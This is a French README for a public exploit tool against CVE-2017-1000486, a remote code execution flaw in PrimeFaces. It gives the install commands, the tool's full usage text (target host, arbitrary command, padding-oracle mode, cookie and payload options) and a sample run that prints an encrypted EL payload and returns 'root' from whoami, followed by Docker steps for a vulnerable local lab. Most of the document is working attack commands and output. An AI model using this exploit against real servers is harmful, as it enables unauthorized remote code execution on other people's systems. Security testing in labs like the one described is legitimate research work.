
Primefaces <= 5.2.21, 5.3.8 or 6.0 - Exploit d'exécution de code à distance
Primefaces <= 5.2.21, 5.3.8 ou 6.0 - Exploit d'exécution de code à distance
Pour installer les dépendances, exécutez :
git clone https://github.com/pimps/CVE-2017-1000486.git
cd CVE-2017-1000486
pip3 install -r requirements.txt
Voici comment utiliser l'exploit :
$ python primefaces.py -h
========================================================================
| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |
| by pimps |
========================================================================
usage: primefaces.py [-h] [-pw PASSWORD] [-pt PATH] [-c CMD] [-px PROXY]
[-ck COOKIE] [-o ORACLE] [-pl PAYLOAD]
target
positional arguments:
target Hôte cible
optional arguments:
-h, --help affiche ce message d'aide et quitte
-pw PASSWORD, --password PASSWORD Mot de passe Primefaces (Défaut = primefaces)
-pt PATH, --path PATH Chemin vers dynamiccontent.properties
(Défaut = /javax.faces.resource/dynamicc
ontent.properties.xhtml)
-c CMD, --cmd CMD Commande à exécuter. (Défaut = whoami)
-px PROXY, --proxy PROXY Configurer un proxy au format
http://127.0.0.1:8080/ (Défaut = Aucun)
-ck COOKIE, --cookie COOKIE Configurer un cookie au format
'COOKIE=VALUE; COOKIE2=VALUE2;' (Défaut
= Aucun)
-o ORACLE, --oracle ORACLE Exploiter la cible avec Padding Oracle.
Utilisez 1 pour activer. (Défaut = 0) (LENT)
-pl PAYLOAD, --payload PAYLOAD Charge utile EL chiffrée. Cette fonction est
destinée à être utilisée avec la charge utile générée
par Padding Oracle. (Défaut = Aucun)
Ce script exploite une vulnérabilité d'exécution de code à distance via le langage d'expression dans
le framework JSF Primefaces. Les versions de Primefaces antérieures à 5.2.21, 5.3.8 ou 6.0
sont vulnérables à une attaque par oracle de bourrage, en raison de l'utilisation d'un chiffrement faible
et d'un mot de passe et d'un sel de chiffrement par défaut.
$ python primefaces.py http://127.0.0.1:8090/
========================================================================
| CVE-2017-1000486 - Primefaces Remote Code Execution Exploit |
| by pimps |
========================================================================
[*] Génération de la charge utile avec le mot de passe par défaut...
[*] Charge utile chiffrée générée : 4xE5s8AClZxUxmyaZjpBstMXUalIgOJHOtvxel/v4YWWwI8VZnuAX1191Sn+CK9NqgRYi2Eqx0Ip7pBmDQy2FwfV
xmTHSyueLw8lvBxR9XlJNxZIpqx8JeJdAJadoM6/fTVxHNSrHEo2BWInksdO2JCryCs0gp7fl+yzbivvc/3dqOsENXJSEuj1v8RULfmL9BNWGB1E6kaSzCMHA
q50id6wTK6l3r3CALrenstFeVs6H8taOicp4rXZB+4n5DEgRgEr36/a+Tfe6SvN82GDvyt80SpIlgsycJpP77l5bHs46I6TPeK9ROZdC2LBwbrPQXl0OGoXsH
2gQbKts3/JPErN8r5f8zyH9jJ1vYs/lyWVs2WmT0rHDkk+zw75eKkY3YwKYTL0oZFI0sO8w1wRaX+MVV1SjgvHKjkKN9W81WMvP0BrStfCPGs1OK/jrApynfs
ZisXjsgy6vVUlfBlI3/SzeeuunqGDjyhcGLgM1U8/qLM/XBEeC+txkljPWq5ZAfbrN9qtgqJSJD7OzfAtAQbXGHAfB+4emCKvBz0+wehBKRy6HfacUHB+DPj7
MON7T9iKV3QZ4Qcs8mCSkhlK6MZfj7zkGHsiTnbqQr+qTVj61Pvr6jHMS4akC7S9u2R5vl9gq8KY5wLv9QpyTGMya3hNS+LQXOzajwXr7mSibFWt5rEnRmQLw
28VSTtwxZnyHfSKYyCc/zHgx89ScL6ucsccAAHTolh4n3FBgj1jZmaoJ8eGDAa1l0v3NVYv6j6X8cDz5qEx+fcz4ftxUNCaGB/13OaqmdVZXCqGFkGlbbfhzo
0BkWBeo4yHxuzXCeLVQZ+hOEqk0jAxVxco97YTW6Yh0/qL+d6IhuAVc7WhH97tDiPnRsmSoJ6xPAPxrhdeHiNZoReymXDXPvIUB8BE6dn64MgjAevuN2m1lGV
wcwUUem+mwNtJggQ35/FRM7Gfuft1gZTNG+cCuSPD9wT/EYuB7dFE9W4d8BzX4X5zNH9d9MyR9tkC33ZlwKbRaBfwTI/RYef1OdOccQKsevIf6RrTbnL0vxzO
8aYp6FBq9x2EYdp54PiBFw/mAgKXhSFw0LhebS6LImNLdjV019/TFp81X210RejGkMXix5TWCCqFd3mmMdlbZB5AzeO2H8mh2BAoeUQs15+f2BpwTTcBUFzod
JZx0/Ibx781ZD/mdEo9bzCngHer7OUft/BrEE5cdrAaT96Bl0CYqPtDo8m4WvMU4UFpjFQn2JuTe6vEe+Ep6ljjlP33ZzG2SBJW0Ipb/RUAthLfMLYSXuo1MF
1vV1Chie4AbZ+RXyxDmGZqykJ7xZpYOdvj2Ap25y1fcy13UOV3YTlj6fJeP3Sd5bosILMp84fnv3eDX4lLjNpNRSnXoKee7XbLu14Hvnf9jjAMv8JDmnjxrCQ
V1TXA2/8enpl0ytV74kU5W0Zs+LuZjldi9oATW4Zj6w==
[*] Tentative d'exécution de : whoami
[+] Résultat de l'exploit :
root
Pour tester cet exploit, j'ai créé un Dockerfile qui lance un Tomcat 7.0 avec l'application de démonstration Primefaces 5.2. Pour construire l'environnement de test, après avoir cloné ce dépôt, exécutez simplement :
$ cd CVE-2017-1000486/
$ docker build . -t primefaces
$ docker run -p 8090:8080 -t primefaces
Vous devriez maintenant pouvoir accéder à l'application de démonstration Primefaces en naviguant vers http://127.0.0.1:8090/